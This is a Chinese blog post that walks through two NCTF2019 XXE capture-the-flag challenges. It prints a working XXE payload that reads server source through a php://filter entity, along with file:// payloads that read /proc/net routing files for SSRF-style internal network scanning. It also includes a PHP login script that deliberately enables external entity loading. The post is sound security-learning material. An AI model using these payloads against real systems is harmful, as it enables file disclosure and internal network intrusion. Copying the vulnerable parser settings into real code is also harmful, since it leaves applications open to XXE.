【XXE实战】——浅看两道CTF题
- 上一条帖子【XXE漏洞】原理及实践演示 对XXE的一些原理进行了浅析,于是写了两道CTF题巩固一下,顺便也记录一下第一次写出来CTF。两道题都是在BUU上找的:[NCTF2019]Fake XML cookbook和[NCTF2019]True XML cookbook
一、[NCTF2019]Fake XML cookbook
- 打开是个登录界面:
-
F12看一下源码,可以发现存在一段js代码:
function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("Please enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); } }); }
可以看到存在一个doLogin.php文件。那么可以使用PHP://伪协议进行读取看看。
-
抓包修改参数,输入我们的payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=doLogin.php"> ]> <user><username>&rabbit;</username><password>1213</password></user>
把得到的编码进行解码可以得到下面的php代码:
<?php /** * autor: c0ny1 * date: 2018-2-7 */ $USERNAME = 'admin'; //è´¦å· $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //å¯ç $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
代码只是进行了一个简单验证,那么输入账号admin和密码024b87931a03f738fff6693ce0a78c88看看:
没啥用...
-
直接试试有没有flag目录(看有的题解说是题目有提示,所以不知道是不是buu的问题,我是没看到):
over
二、[NCTF2019]True XML cookbook
-
打开界面可以看到和上面题一模一样,然后同样读doLogin.php也没啥用,直接访问flag目录也没有线索。
-
看题解后发现,可以使用XXE+SSRF的方法,即使用伪协议进行内网的嗅探。那么第一步就是看内网的结构:
payload查看靶机路由表:
file:///proc/net/arp
可以看到有两个路由169.254.1.1和10.128.253.12。
-
使用bp的intrude模块对这两个路径C段进行爆破
爆破过程巨慢无比....不知道为啥,以后有空研究一下。但是看网上的wp说这两个C段扫描不出来东西。
-
查看proc/net/fib_trie下的路由树
file:///proc/net/fib_trie
-
下面对10.244.80.215的C段进行爆破,同样非常慢,不想等了最后没解出来。
三、收获
- 熟悉了使用file伪协议查看文件,php伪协议读取文件
- 学习了xxe+ssrf的利用方式,对于linux主机可以读取proc/net/arp路径查看其路由表从而得到其内网结构。在主机没有flag的情况下,可能藏在其他内网主机中。
- bp的intrude模块不知道怎么调才能实现超时放弃请求....